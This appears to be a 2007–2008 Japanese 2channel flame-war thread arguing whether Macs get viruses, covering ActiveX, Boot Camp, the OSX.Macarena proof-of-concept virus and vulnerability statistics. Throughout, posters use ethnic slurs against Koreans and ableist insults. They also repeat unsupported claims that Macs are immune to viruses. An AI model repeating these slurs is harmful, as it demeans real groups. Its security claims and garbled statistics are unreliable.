”こいつは三河屋じゃないかもしれません”って出ますが無視して入れてくださいw」とか書かせる始末。
高木浩光＠自宅の日記「こんな銀行は嫌だ」
http://takagi-hiromitsu.jp/diary/20071117.html

もうなんつーか、グダグダ。

「ちわー三河屋でーす」「この人は三河屋だという確実には言えません　入れますか？ パスワード入力」

これと何が違うのかわからんｗ

MacはActiveXは普通ないので「ちわー三河屋でーす」「表へ廻ってください」
で、正面から正式にインストール手順を踏む。（その際パスワード）

Windowsは”ユーザーが便利なように”（MS談）裏口に「はい／いいえ」ボタンがついてて
裏口でだれかが「ちわー三河屋でーす」って言って、はいを選んだら即死。中荒らされ放題。

違いがわからないとな？

えぇわかかりませんねぇ。

信頼したのなら、yだろうがパスワードだろうが
どっちみち入れるでしょうが。

なんどもパスワード入れさせていると
麻痺して、アプリをインストールするときは
パスワードを入れるもんと思って
なんでも入れるようになるかもね

ダイアログで「はい」　 はいと言ったら契約成立
パスワード入力　 署名(はんこ)で契約成立
ぐらいの違いはある罠。

>>720
ActiveXのダイアログが出たからって、アプリをインストールしようとしてると
わかるヤシって知識があるヤシだけだろ。

ダイアログは一般ユーザー権限で普通の処理を実行してる時も出るものだし、
知識がないヤシはダイアログを斜め読みして「はいをクリックした方が動きそう」
って思ったら「はい」をクリックしちゃうだろ。

パスワードを要求される＝何か物々しい作業をしてる
って説明さえしっかりしてれば、「ふと立ち止まって考える」とか、
「詳しい人に聞く」とかの対応をするだろう。

Windowsユーザーが。ってわけでもなくMacでもユーザーの平均レベルは
おんなじようなもんだろうけど、>>719みたいに

ネットで証明書と暗号鍵を受け付けてサイトの信頼性を高めるってシステムは
WinもMacも共通で持ってる。
でも、WinのActiveXは当初からセキュリティの専門家に問題視されていたように
証明書が正しかろうとぁゃιかろうがユーザーに受け付けるか？って聞いてきて、
なおかつ受け付けるを押したとたん、

”自分のマシンにネット上から任意プログラムをインストールされる”

って代物なのをちゃんと理解していないのに、それをONにしっぱなしでネットやってる。
ってのが問題なんだよなぁ。　Windows。

ポイントはMac（というかWinows以外のOS）はまず、そんなどこの馬の骨とも
わからないサイトから勝手にプログラムをインストールさせるシステムは持っていない。
（だから、まずActiveXと同等の脆弱性を持った穴がそもそも存在しない。
　ActiveXについて語るときに「Macだって〜」もなにも、その穴はWindowsだけが
　持つ固有のセキュリティの問題であって、他のOSはその問題を持っていない）

なんで、そんなもんがWindowsにあるか。つったらPush技術の負の遺産というか、
一時期、いちいちめんどくさいプラグインの類は人が手動でインストールするのではなく
ネットで認証して”確実なサイト”から自動でダウンロードからインストールまで
やってくれるようにすれば便利じゃね？つか、それがこれから主流っしょ？って
MSの中の人が考えたから。

結果は”確実じゃないサイト”が素人が間違ってボタンを押してスパイウェアを入れさせて
くれるように「このサイトを見るにはここをクリック」だの嘘八百でいかに「OK」を
押させるか、って格好のセキュリティホールになってくれた。
そしてそれを恐ろしいことに>>719を含むWindowsユーザーはほとんど知らない。
あまつさえ他のOSもこんなんでしょ？と思ってるっぽいという・・・

>>723
長文乙。

ActiveXも今(確かXPのSP2以降)はデフォルト設定で完全にぁゃιぃモジュールはダウソしない。
JavaアプレットはMacだろうが、Solarisだろうが勝手にインストールされる。

Javaアプレットやらはサンドボックスで隔離してるから動作が制限される＝隔離に穴がなければ安全
ActiveXは隔離なんて考えて無いから何でも出来る＝モジュールが安全に作られていれば安全

問題は、ネット上から勝手にインストールされるモジュールが隔離されてない事だ。
隔離されてないって事は、OSやアプリのアップデートに便利に使えるって利点もあるが、
乗っ取りだろうがデータ破壊だろうがスパイだろうがダイヤルアップ先変更(古)だろうが、
好き勝手できる。

さらに、認証会社に登録した証書だったら期限切れだろうが、インチキ登録してようが、サイトが違ってようが
(サイトが一致してて期限中の証書とはチョット違う)ダイアログ出して処理する。

どちらにしろ、こんな状況でActiveXが安全だとは思えない罠。

それでも、いきなりMacの画面（をまねて作られた画像）が出てきて
ウイルスに感染しています。
このソフトをインストールしてください。
というのにだまされた人が、

インストール手順・・・パスワードが出てくるので入力・・・実行すればOKです。

なんてのをみれば、パスワード入力してしまうだろうから
はい か いいえ をパスワードに変えたところで無意味だろうな。

どっちにしてもウイルスで困るのが Windows、困らないのが Mac ということで FA

ダイアログは、1日1回ぐらいは遭遇するが、パスワード入力はログインを除けば週1回も遭遇しない。
どっちがアラートに慣れて、ろくに考えずに次に進める可能性が高い？

まあ、ユーザー権限が混乱してるWindowsでパワーユーザーとかで運用してると、
普通の使い方で使っててもアドミニストレータパスワードが必要になる場面が多いかもしれないが。

>>725
必死だなぁ・・・

Macで

＞Macの画面（をまねて作られた画像）が出てきて
＞このソフトをインストールしてください。

て・・・
あのボタン一つでインストールされるようなシステムは
上で書かれてたWindows特有の奴で、
他のOSはそれをやられない。つうてるのに。

わざわざダウンロードリンクをクリックして、デスクトップ辺りに開いた
ディスクイメージからインストーラーを選んでダブルクリックで起動して
「システムを弄るから管理者パスワード入れて」ってワーニング無視して
パスワード入れるとこまでやれる上級者は、そりゃわざとやってんだろうよ。

本当に藁の家に住んでる奴は、家ってのの基準が藁でできた家ベースだから困るよ。

へぇ。Macユーザーはアプリをインストールできたら上級者なんだｗ

>>729
>>へぇ。Macユーザーはアプリをインストールできたら上級者なんだｗ

>そりゃわざとやってんだろうよ。

にほんご、わかりますか？

それで反論になってますか？ｗ

>727には反論できないからって、つっこみどころ満載の>728に反論して流れを作った気になってるのか。

いずれにしても>725が
-----------------------------
いきなり税務署の通知はがき(をまねて作られたはがき)がきて
還付金を返還します。
銀行に行ってATMを操作してください。
というのにだまされた人が、

操作手順・・・振込みを選んで口座番号にXXXを入れて暗証番号が出てくるので入力・・・実行すればOKです。

なんてのをみれば、暗証番号入力してしまうだろうから
はい か いいえ を暗証番号に変えたところで無意味だろうな。
-----------------------------

と言ってるのと大して変わらないとなぜ気が付かないのか疑問。

実際振り込み詐欺はそうやって
パスワードを突破しているね

「大変あたまがよろしいようでｗ」って皮肉に
「ああ、おまえらはバカだからな」って返し始めた時点で
もう何書いても遠吠えにしかならないのは確定的に明らか。

【キーワード抽出】
対象スレ： MACはウイルスにかからない
キーワード： 大変あたまがよろしいようでｗ



734 名前：名称未設定[sage] 投稿日：2007/12/16(日) 04:32:59 ID:SsxQNG3e0
「大変あたまがよろしいようでｗ」って皮肉に
「ああ、おまえらはバカだからな」って返し始めた時点で
もう何書いても遠吠えにしかならないのは確定的に明らか。




抽出レス数：1

どっちにしてもウイルスで困るのが Windows、困らないのが Mac ということで FA

>>736
FAとか得意気に言っちゃってるけど、困るか困らないかなんて聞いてないからね。
スレタイ嫁。

長いことドザやってますが、なかなかウィルスに会えません。
どうしたらよいですか？

>738

まずは、ルーターみたいな軟弱な物を使わないで、ダイアルアップなりADSLモデムやONC直結でインターネットに接続しましょう
WINDOWS内蔵やサードパーティーのファイアウォールソフトは切ってください
その状態で、インターネットに接続して小一時間もお待ちになれば、ご希望がかなえられることと思います
プロバイダーによっては、なかなかご希望通りにならないことが有りますので、その場合はプロバイダーを変えてみてください

あと、スパムメールのリンク先のホームページもなるべく訪れて、あれこれクリックするのも効果的です

海外の無料サムネールギャラリーの類をうろついてると、
ほとんどは宣伝とアクセスログデータ収集目的の安全なサイトなんだけど
稀にスパイウェアぶち込みに来たりする凶悪なサイトがあるね。
（そのTGP群の評価が下がるので、割とすぐに放逐されて消えるけど）
一回Mac用IE使ってた頃にデスクトップにexeを落とされたのには驚いた。
たいがいの罠スクリプトはMacで感染までまともに動作しないし、
Windows用のexeを投げられても実行されないから実害ないけど、
その手に当たると「ああ、Windowsだといま死んでたんだなー」と思ったりする。

インターネッツの諸悪の根源って９９．９％以上がドザとＷＩＮＤＯＷＳに行きつくのを認めないのがドザ

ドザの閉じた社会にとどまればいいのに、あちこちにちょっかい出しまくるし

ドザは巣に帰れ！

変な方向に行ってたんで軌道修正するわ。

まず、WindowsもMacもウィルスに感染する危険性はある。
主な感染方法として、スタックオーバーフローを利用し任意のコードを実行させる事で感染する方法が考えられる。

ただし、入力バッファのチェック漏れなどの脆弱性が無いとスタックオーバーフローは発生しないから、
OSが枯れてきてチェック漏れがなくなってくれば危険性は下がる。

ただし、MacやUNIXにはWindowsのActiveXの様なインストール作業をあまり意識させないで、ネットワーク上から
ソフトウェアをインストールさせる仕組みが存在しないので、Windowsに比べればその点では安全性が高いと言える。

また、Macは普及台数が少ないのでターゲットになりにくい。

MacはWindowsに比べれはウイルスにかかりにくいが、決してかからないわけではない。

Ｍｉｃｒｏｓｏｆｔがもともと想定していたネットワークは企業内ＬＡＮで、オープンな接続携帯はさほど考慮されていなかった。セキュリティもそれに対応したもので十分と考えていた。
それが、Windows95を出す前にインターネットの急激な普及を目の当たりにして、（UNIXやMacがすでにOSレベルで装備していた）TCP/IPスタックを標準装備してインターネット対応に路線を切り替えた。
ついでに、企業内LAN用のプログラムもインターネットと共通のプロトコルで使えるようにした・・・・・セキュリティレベルをほとんど企業内LANレベルのままで
その結果、あれこれセキュリティ問題が生じたわけだけど、基本設計をそのままで対処療法に明け暮れて１０年以上が過ぎた、ってところかな。
３〜４年前から、これではいかんということで、性根を入れて見直しを行ってきてる。

ただ、それを行う前の大本営発表がいただけなかったし、いまだにドザ厨が当時の大本営発表かぶれをいいふらしてる。

おい、厨房、さっさとVistaに切り替えろやｗ

「Windows Vistaのカーネル保護機能はすぐに破られる」--セキュリティ専門家が警告
http://japan.cnet.com/news/sec/story/0,2000056024,20271627,00.htm

なんかActiveXがウイルス感染の
主な原因といっている見たいだけどさ、

ちょっとまて、大きく被害を出した
ActiveX製のウイルス、名前いってみろ

offensive
redlof

ActiveXはスパイウェア中心かねぇ、やっぱり。
Web感染で被害が大きいと犯人が追跡されやすいのが嫌われてるのか、
大規模感染はアウトルック経由（メール）とかLANの穴が多かったような。

Windows人はこんなとこでMacのウィルスがどーとか言う前にまず
adawareでググって自分のWindowsマシンをスキャンしてみることが先だと思われ。

Macの人も自分のマシンスキャンしたほうが良いよ。
スパイウェアと認識される
トラッキングクッキーが大量に見つかるはずだから。

クッキーなんかすぐに消してるよ

どっちにしてもウイルスで困るのが Windows、困らないのが Mac ということで FA

その代わり、いろんなことでMacは困るけどな。

ぶっちゃけゲーム以外で困った事ないから平気。

というか、洋ゲーやりたきゃXbox360を買えばそれでいいからなぁ。

洋ゲーならなんでもいいのか？

ウイルスをまき散らす Windows

アメリカ陸軍がセキュリティ改善のためMacを採用

ttp://www.forbes.com/home/technology/2007/12/20/apple-army-hackers-tech-security-cx_ag_1221army.html

いや、つうか米軍はWindows使うなんて気でも違ってたのかと、小一時間。

UNIXじゃねぇのかよ。

URLを踏むとHDDをフォーマットするウイルスが流行ってるらしいが
Macなら大丈夫？

流行ってないだろ？
Mac版のHDDフォーマットウイルスは。

流行ってないんだから大丈夫なんじゃね？
もし本当にMac版のやつが流行れば
Macだってウイルスにかかかるんだから当然危ないが。

え？Mac版あるのかよ
じゃあ危険じゃん

>>759
のどこをどう解釈すると
>>760
のような結論となるのだろう？

マックそのものがウイルス
マカそのものが犯罪

マカ（学名 Lepidium meyenji Walp）は南米ペルーに植生するアブラナ科の多年生植物。
マカーをマカと呼ぶやつには池沼が多いよ。
要するに馬鹿。
天然だったら今後気をつけ付けるといいよ。

はいはいキチガイマカが釣れました。

正確には、「Macにはウィルスに感染する能力が欠如している」というべきである。

ドザチョン涙目

ハッカーも逃げ出す堅牢の砦、それがMacOS X（＾-＾）v

Macにはウィルス感染を検知する能力が欠如している

MacがWindowsウイルスに掛かるわけ無いやん

ドザチョンって基地外

かかることもあるぞ。
最近は、WindowsでもMacでも動くものが
増えてきたから。

具体的にどんなの？

もし実在してもハイブリットウイルスだしw

MacがWindowsウイルスに掛かるわけではない。

同じようにWindowsがMacウイルスにかかることもない。

Macウイルスなど歩行中に隕石に当たる確率ほどもなく、
Windowsウイルスは歩行中に雨に降られる確率より高い。

雨具が常に必要で、傘を開く前に濡れてしまうので、
晴れていても常に傘を開いておくのがWindowsではデフォ。

> Windowsウイルスは歩行中に雨に降られる確率より高い。

じゃあ、その高い確率であたるウイルスの名前言ってみ。
どうせ古いウイルスかマイナーなウイルスか
最近話題になっている（が実際はぜんぜん見ない）ウイルスだろ。

数だけあってもまったく実害がない。

阿呆だなw

古かろうがなんだろうが傘をささずに歩けば10分もしないうちにずぶ濡れだろが

お前らはどんなに晴れていても傘をさしている間抜けなんだよ

>>775
に何一つ反論できてなくてワロタｗｗｗ
マカ弱すぎｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

話題性がなくなったウイルスはもう存在しないと思い込んでるドザ。
頭わるーw

>>777
どう見ても>>775はお前の友達だろw

>>777
さすがドザチョン頭弱すぎwwwwwwwwwww

ウィルス作者にも相手にされないマカ哀れwww

まともな人間なら犯罪者や盗人や気違いに関わりたくないよね
ウイルス作者に相手して貰って喜ぶ白痴それがドザチョン>>781

マカのふぁびょりぶり最高

Windowsはウイルスまみれで欠陥だらけの糞OS
しかも使ってる奴がさらに糞だらけ

どっちにしてもウイルスで困るのが Windows、困らないのが Mac ということで FA

そこで、マカの多くはWindowsを使っているというところから
マカもウイルスに困っているという方程式が成り立ちます。

それって方程式になるのか？

多くの日本人がキムチを食べているから、
日本人はキムチがないと生きていけないﾆﾀﾞ。

>>786の発想を置き換えるとこうなるな。

>>783
> ふぁびょりぶり

これ何語よwwwww?

ドザ、頭悪すぎw

>>786
使うことあるよ、仕事先とかで
でも制約が多いんだよな「あれやっちゃいけません」「これやっちゃいけません」とか

そういえば、よくドザが「Windowsはフリーウェアが多い」とかいうけど
そういうのは使っちゃいけないことになっている
ほんと、おっしゃる通り困っとりますわ

Macのアンチウィルスソフトって高いよね。
よくあんなの金出して買うもんだね。

Macで決まりごとが無いのは、
誰も使っていないからだろうな

ドザはウイルスに困らない OS の存在を理解できないということが
よくわかるレスだ

まあ、田舎は人いないから、
ドアにかぎかけなくても安全だもんな。
それがセキュリティが強いというわけじゃないが。

ヒント　泥棒は鍵のかかった堅牢な家は狙わない。
ヒント　田舎でも泥棒は少なくない。

人がいようといまいと

ドザに鍵をかけないのは不用心です

インターネットに接続したマシンを例に
田舎とか都会とか比喩するドザの知能レベルがw

WINNY、エロゲ、ミク、ウイルスばら撒き、掲示板荒らし、、、

マカ＝ドザよ。


頼むからWINを荒らさないでくれ。

なんだこの支離滅裂の基地外は

マカ：キチガイ。MACOS使用を続けるマゾ。
ドザ：マカがWINNY等犯罪目的の為にWIN機購入した姿。

基本的にMAC板は上記キチガイ同士の荒らしあい。

ドザチョンのお前は？

ドザの論理の飛躍は正にチョンと同じだ

＞マカ：キチガイ。MACOS使用を続けるマゾ
一瞬、MSDOSに見えた

全部大文字にするなよ

MACは内部がUNIXだからウイルスにかかるよ

>>805
Winよりは確率が桁外れで低いけどね

Macでウイルスにかかる確率は宝くじで一等が当たるよりも低いし、
地球に隕石が衝突して滅ぶ確率よりも低い。

MacがWindowsウイルスに掛かるわけがないw
世の中に氾濫しているウイルスはほぼWindowsウイルスだから
Macがウイルうすに掛かる確率は極めて低い

>>808

ウィル・ウス

教えてくださるエライ人にお伺いします。
MacとWin両方使用してます。
Macはノートン先生、Winはマカフィーです。
両方とも週に一度は定義ファイルを更新してます。
NASで共有しているHDがあるのですがスキャンしますと、
マカフイーはウィルス検知、ノートンは知らんぷりです。
これはノートンがスカタンなのですかね?
それとも「Macに関係ないウィルスは知ったことではない」
ということなのでしょうかね？
ちなみにこのスレを訪れますとノートンは感知、マカフィーは知らんぷりです。

マカならセキュリティソフトは入れないほうがいい
いたずらにネット速度を遅くするだけだからな。

BOOTCAMPリリースと同時にWINNY利用者3倍


ウィニー：利用者急増、１年で３倍　ウイルス遭遇は４４％
　Ｗｉｎｎｙ（ウィニー）などファイル交換ソフトの利用者が、１年あまりで３倍近く増えていることが
コンピュータソフトウェア著作権協会（ＡＣＣＳ）の調査で分かった
。
　現在利用者は、ウィニーの被害が社会問題化した一昨年６月の調査で３．５％だったのが、
９．６％に急増していた。

http://mainichi.jp/select/wadai/news/20080106k0000m040055000c.html


WIN:MACのシェア比率から考えるとマカの恐ろしい犯罪者濃度（笑）

ドザチョンズ息を吐くように嘘をつき

火病起こして捏造してまるっきり朝鮮人w

最近、モニタが劇ボケしたり、OSXがフリーズしたりして、
「ウィルス感染？」とか思ってたんだが・・・・

連動式タップのパソコン接続するとこに、モニタ接続してたw
モニタの作動が不安定なので、それに連動してパソコンの電源がチョイ切れしてたみたい
掃除した時間違ったらしいwww

セキュりティーやってる香具師はやっぱり狂っていたね。
ウイルスはWebが主流なんて適当なこと書いてるんじゃないってw
テキトウすぎて話にならんw
超むずかしいとかもなw
捏造の謝罪はまだ？

全然わかんないんだけどさ。
マックに感染するウィルスって、Win系のサーバ通してくるの？
周りがwinだらけだから、感染したところで
他に影響しにくいような気がするんだけど。

ウィルスにもハイブリットなのがいるの？

>>816
自分もよく分からないが、Java Scriptを使ったマルウェアだと、ハイブリッド
も有りそうな気がする。

あとMS Officeの脆弱性を利用したマルウェアで、ハイブリッドなのが有った
はず。

Javaスクリプトなどで書かれたブラクラの類は
ハイブリッドと言えよう。

>>812
調査間違ってるような気がする
ウィニーと洒落は規制が厳しいから、利用者減ってるはず。
P2Pのためにブート起動する奴いるか？

少し前からWinny流出ファイルがかなり増えてるんだがおまえらの仕業かｗｗｗ
ウィルスソフトがスルーしたからってなんでもかんでもダブルクリックすんなよ

速攻で個人情報流出するぞ

危機意識の薄いWindows新参マカ珍
腹痛いｗｗｗ

なんかかわいそう

ほら　ドザが必死に捏造(笑)

WINNY利用者とマカの相関比率の高さは

マカの幼稚な反論もむなしく

既に立証されましたね（笑）

BOOTCAMP使ってまでWIN使いたい自己矛盾の精神は

もはや手遅れの領域です（笑）

さあ

病院へ行きましょう（笑）

>>824
マックシェアが増えてること認めてるようなもん
ニワカドザがマックに移って、さてウィニーでエロ動画でもゲットするかという感じだろなw

ドザはエロゲのためにパソコン3つ4つ買う精神は
もはや手遅れの領域です（笑）

さあ
童貞ニート脱出して現実の女の人とでも付き合いましょう（笑）

あと、キモイフィギュアも捨てとけ（笑）

マックというハードは、スペック的にかなり強力で
Vistaを動かすのに最適なんだそうだ。

MacOS「も」動く分だけ、他のドザパソより有利なんだよ。

んーと、ビリー・・じゃなかった、ブートキャンプのリリースで
Winnyの利用者が増えたってことは、ドザの間でマックハードが
売れるようになってきたってことだな。

MacOS「も」動くから、事実上有名どころのOSは、全部iMACで動くわけだ。

ドザドザうるせーよ。

おまいがいってるのはPCだ。
ちゃんと正確に言えよ。

ほら　ドザ必死(笑)

有豚にある展示品の巨大iMacにVMWAREが入ってたぞ。
あれを使えば、タイガーでもWinnyを使えるんじゃあ？

おっと、ゲーム速報板じゃなかったな、ここは。

「有豚」ってのは、銀座のビックカメラのことだよ。

このスレ読んでないけど、これだけ言わせてくれ。

　

なんだかんだ言って、いまだにMacのウィルスが出て来んなw
（ブレイクしてないって話な。コンセプトウィルスとか無視）

ところでスレ違いかも知れないが
ttp://www.apple.com/jp/
が繋がらないんだが、なぜ？

糞重いけど繋がるよ。

一昨年だっけか、CNETとかが「OSXのウィルスが！」ってやって
一時期、「ほーら！ｗ　Macだってウィルスあんじゃねーかｗｗｗ」って
盛んに記事にリンク貼られてたけど、記事をたどって内容を調べると

「Bootcampで起動しているWindowsから感染を試みる」

って代物で。
（Windows上からOSXのパーテーションにウィルスを書き込もうとする手口
　で、感染させたウィルスがOSXでいまいちちゃんと働かない。という代物）
その辺を指摘されると同時に一気にコピペが消えたのが面白かった。

ウィルスも作ってもらえなきゃ
アプリも作ってもらえない。

>>835
それは現実的に実装可能だよね。

単にWindowsからHFSを読み書きするだけで良い。

Macでウイルスが広がらない原因のひとつが
Macユーザーが少ないことなんだけど、これを利用すれば
多くのデュアルブートをしているMacにウイルスを感染させることが可能

Macでも気をつけないといけないな。


ところで、そのOSXでいまいちちゃんと動かないという
ウイルスは存在するの？君の思い込みだろ？

WindowsからHFSは書き込みできないのをご存じ？

動かないウイルスはググればすぐわかるよ。

無知を晒らけだすだけだから、もうあんたは
ここに来ちゃだめだよ。

そんなもん、NFS読み書きコードを
Linuxからぱくってくればいいだけじゃん。

余りにも低レベルな反論であきれた。

コードなくたってちょっと前のLinuxなんてntfs.sys使ってNTFSにアクセスしてたしなｗ

>>839>>840
思いっ切り勘違いしてるみたいだし、恥ずかしすぎるから
もうここに来ちゃだめだよ。

603 名前：名称未設定 ﾒｪﾙ：sage 投稿日：2007/09/14(金) 14:48:53 ID:sJFb39j/0
OSX.Macarenaかー懐かしいねー

コンパイルしたアプリケーションをユーザーが実行すると
同じディレクトリにむきだしで置いてある
ある種の実行ファイルに感染する。って
コンセプト検証”ウィルス”。

ポイントはOSXの実行ファイルはディレクトリに剥きだしで置いてあることがまずない。
ってとこかなー・・・　感染するのもMach-o形式だけだし、IntelMacやPPCの生
バイナリには感染しないし。
そりゃウィルス危機を煽りたいシマンテックも危険度低にしかできんわな。

にしても元を確認して一番笑うとこは

＞ソースコードをコンパイルすると、OS Xウイルス本体とドロッパの２つの
＞バイナリが作成されます。ドロッパは、現在のマシンにインストールされた
＞WindowsからMac OS Xバイナリファイルに感染することを目的としています。

Bootcamp(parallels)で起動しているWindowsから感染させよう！ってのなｗ
むしろWindowsの存在自体がウィルスなんじゃね？コレｗ

OSの種類に関係なく
OSを迂回してHDDに直接アクセス（この場合デュアルブート）したら
セキュリティなんて骨抜きというのはセキュリティの基本だから。

> ポイントはOSXの実行ファイルはディレクトリに剥きだしで置いてあることがまずない。

まあ、ZIP内のファイルに感染するウイルスもあるわけだし。
あまり重要なポイントではないな。

>>843
うん。それは疑うことができない常識なんだけど、
どうやら、それすらも疑う人がいるようだ。

Macを万能なOSと思いたいのかな？
常識はすなおに認めれば良いのに。

ありえもしない架空の話で意見されてもね。
そりゃいつかは地球もいつかは滅びるし、
MacOS Xに感染するウイルスも出るだろうさ。

ともかくウイルスで苦しむのが Windows、気にしなくても大丈夫なのが Mac ということで FA

>>847
そういうことだね
事実は事実
実害のあるウィルスが実際に出てきてから考えればいいんじゃねw

838 名前：名称未設定[sage] 投稿日：2008/01/09(水) 19:07:24 ID:3z3p4mDJ0
WindowsからHFSは書き込みできないのをご存じ？

>>843
> OSを迂回してHDDに直接アクセス（この場合デュアルブート）したら
> セキュリティなんて骨抜きというのはセキュリティの基本だから。

Windowsってのは、そんなことを易々と許すようなOSなんだ（笑）

Windows wo namennnayo W

>>850
意味が理解できないのなら黙っていようねｗ
見てるこっちが恥ずかしいからｗ

>>852
お前の方がよっぽど恥ずかしいぞ

もとの文章が曖昧すぎるんだよなw
特にデュアルブートの意味が曖昧過ぎ

Windowsの上から直接ハードウェアにアクセスするという意味なのか
それともWindowsを起動せずにという意味なのか

糞してから出直してこい！

> Windowsの上から直接ハードウェアにアクセスするという意味なのか
> それともWindowsを起動せずにという意味なのか

Windowsを起動せずに・・・のあとはなんだ？

Windowsを起動せずに、Windows上から直接ハードウェアにアクセスする
という意味だとでも思ったのか？

Windowsを起動しない状態なら、それはMacOSXだけが動いているか
停止状態だよな？

そういうWindowsが起動していない状態で、Windowsのせいにするつもりか？

アフォすぎｗ

>>854
> > Windowsの上から直接ハードウェアにアクセスするという意味なのか
> > それともWindowsを起動せずにという意味なのか
>
> Windowsを起動せずに・・・のあとはなんだ？
>
> Windowsを起動せずに、Windows上から直接ハードウェアにアクセスする
> という意味だとでも思ったのか？

お前がまともな日本語を書けないだけでなく
日本語も読めないことが、よくわかったwwwww！

> > Windowsの上から直接ハードウェアにアクセスするという意味なのか
> > それともWindowsを起動せずにという意味なのか
＞ そういうWindowsが起動していない状態で、Windowsのせいにするつもりか？
そういう・・っていうのは、それともに対応する状態だよな

そもそもどっちなんだよwww

> アフォすぎｗ

おまえみたいなアフォはDOSビールスにBIOSでも焼かれてろやwwwwww

狂ったｗ

> 特にデュアルブートの意味が曖昧過ぎ
>
> Windowsの上から直接ハードウェアにアクセスするという意味なのか
> それともWindowsを起動せずにという意味なのか

デュアルブートでWindowsを起動せずにという意味なら、
Windowsのせいにはならない。それだけのことだよドアフォ

だから、もとの文章でデュアルブートと書いていても
Windowsを起動しないでとは書かれていないよな

Windows上からOSすっとばしてという選択肢だってあるだろうが

おまえド素人もいいところだなwwwww

お前、Windowsのせいにしてるだろ。

しかし、Windowsを起動しないのなら、Windowsのせいにはならないんだよ。

それぐらいわかるよな？

もとの文章がWindowsを起動しているともしていないとも書かれていないだろうが！

どちらにでも受け取れる曖昧な文章をもとに煽ることしか出来ないのかよ

このド基地害がwww

マカって明らかに理解できていない、知らないことについても自信満々で語るよなｗ
で、無知を指摘されると軽やかにスルーｗ
Macなんて阿呆でも馬鹿でも使えるようにというのがコンセプトなんだから
己の無知について恥じることなくもっと堂々としていればいいのに・・・

結論としては

・MacOS Xはウイルスにかからない
・Windowsはそれ自体がウイルス
・MacにWindowsというウイルスを入れてもMacOS Xはビクともしない

みなさんもこれで異論はないと思います。

Macに入れたWindowsはウイルスにかかるけどな

あまったれるな！

Windowsを入れたからには
おまえはもうドザなのだ。
セキュリティをまもる義務がある。

まぁ、ドザOS動かしていると、ブートセクタやBIOSやOS起動スクリプトをいじられるビールス／マルウエアを
しこまれる可能性があるから、BootCampといえどもドザOSを入れるのは危険性があるってことだな

ドザOSを使いたい時には、ドザOS以外のホストOSのVMでドザOSを動かすようにして、
ドザがマシンに物理的にアクセスできないようにするかw

MacOSXも危険だから、VM上で動かしたいんだが、
くそじょぶずがそれを許さない。

>>864
そこまでしてドサOSを使わなきゃいけないなんて惨めだな。

どっちにしてもウイルスで困るのが Windows、困らないのが Mac ということで FA







はい　終了

今は困らなくても将来はわからないな。

Macはウイルスにかかるのだから。

ほらドザ必死(笑)

ドザは目先のお前達の事を心配しておけ

70 名前：名称未設定 ﾒｪﾙ：sage 投稿日：2006/11/17(金) 23:49:14 ID:Uw97Re1q0
　同社はNetscapeの邪魔をするため，（結果的に法を犯して）未成熟のInternet Explorer（IE）をWindowsの奥深くにバンドルしてしまった。
この行為のために丸10年たった今でも，同社は定期的に発見される深刻なセキュリティ上の欠陥という形で，代償を払い続けている。

　LinuxやMac OS Xといった現代のOSは，厳格なセキュリティ・モデルのもとで動いている。
そこでは，管理者権限を持つユーザーでさえも，システムに害を及ぼす恐れのある作業を実行する際には，適切なログオン作業をしなければその機能へのフル・アクセスが認められない。
この種のセキュリティ・モデルは，ユーザーを自分自身から守ることになる。そして，これはMicrosoftが何年も前にWindowsに追加しておくべき機能だった。

　Windows Vistaで，Microsoftはこの種のセキュリティ・モデルに歩み寄った。この機能はUAP（ユーザー・アカウント・プロテクション）と呼ばれている。
だが，ここでわれわれが話題にしているのはMicrosoftだ。彼らはUAPを完全に台無しにしてしまった。
http://itpro.nikkeibp.co.jp/article/COLUMN/20060510/237373/

2006年（笑）

2008年にもなってるのに、いまだ代償を払い続けるMSと頭の弱い人たち

そして、これが2007年後半の記事なんだね

2007年の脆弱性の統計
マックはＷｉｎｄｏｗｓの4-5年遅れと言われるのがよくわかると思う。
↓
Mac versus Windows vulnerability stats for 2007
http://blogs.zdnet.com/security/?p=758

Windows XP, Vista, and Mac OS X vulnerability stats for 2007

　　　　　　　　　　　　　　　　　　XP 　Vista 　　XP + Vista 　Mac OS X
Total extremely critical　　　 　3　　　　1　　　　　　4　　　　　　　0
Total highly critical　　　　　　 19　　　12　　　　　 23 　　　　　234
Total moderately critical　　　 2　　　　1　　　　　　3　　　　　　　2
Total less critical　　　　　　　　3　　　　1　　　　　　4　　　　　　　7
Total flaws　　　　　　　　　　　34 　　　20　　　　　 44　　　　　 243
Average flaws per month　 2.83　 　1.67 　　　　3.67 　　　　20.25


『「Vistaは私が見た主流のOSの中でも、最も侵入するのが難しい」と語った。』
http://japan.cnet.com/special/story/0,2000056049,20363239,00.htm

『AppleはMicrosoftの数年前の状態で、「owned（所有される）」経験、つまりハッカーに乗っ取られて、何度も笑い種になる経験を積まなければならないと語った。』
http://japan.cnet.com/special/story/0,2000056049,20363239-3,00.htm

どっちにしてもウイルスで困るのが Windows、困らないのが Mac ということで FA







はい　終了

Tigerからインストール時にBSDサブシステム外して入れられなくなった。
デフォルトでポート閉めてるってだけで不要なサービス満載でインストールされる。
telnetとかrloginとか、古いコマンドも/usr/binに入ってるよね。
今のところ狙うクラッカーがいないだけで、無防備な仕様なんじゃないかな。
一式まとめてインストールって方式じゃなくて
Linuxみたいにこまかいパッケージ管理ができるようにした方がいいと思うな。

ドザな人たちってウイルスに困らないOSの存在を認められない
頭の悪い井の中の蛙ってことが良くわかった。

>>874
個人ユーザー程度で乗っ取られたとこで困らんでしょ
年収200万以下の個人情報欲しけりゃやるよw映画MP3個人作品も欲しけりゃやるよw
企業レベルで全部マックという会社まず少ないだろうしな
所詮やられても、外付けで起動するだけ。

まあマックでウィルスでやられることないしなw

>>874
ウソで他を貶めてみても自分が良くなるわけではないので
それはただムダなだけでなく自分にとってマイナス。だってのが
なんでわからんかね・・・

＞「脅威はMicrosoftからはなくなりつつある。なぜならMicrosoftは誰よりも
＞（セキュリティ関連で）多くの支出をしたからだ」と述べる。

ハァ？w

根本的で”ない”対策に金だけかけて、なんの効果も上がってないから
マイクロソフト（Windows)はセキュリティに関して”完全な糞”扱いされてるんだが。
セキュリティレベルがかけた金と関係あるならLinuxなんてどうなるんだよ。

本当にMS社員のFUDは酷ぇな。

糞にいくら金をかけても糞は糞ということですかそうですか

駅のダンボールのなーかにーぃ　マカがいても　別に不思議じゃなーいねーーーぇ
CHA-LA　HEAD-CHA-LA　何が起きても日本はWINDOWS社会ぃ♪
CHA-LA　HEAD-CHA-LA　頭空っぽの方が夢詰め込めるゥ♪
CHA-LA　HEAD-CHA-LA　妄想ウルトラＺで今日も逃げ逃げ逃げ逃げ逃げぇぇぇー♪
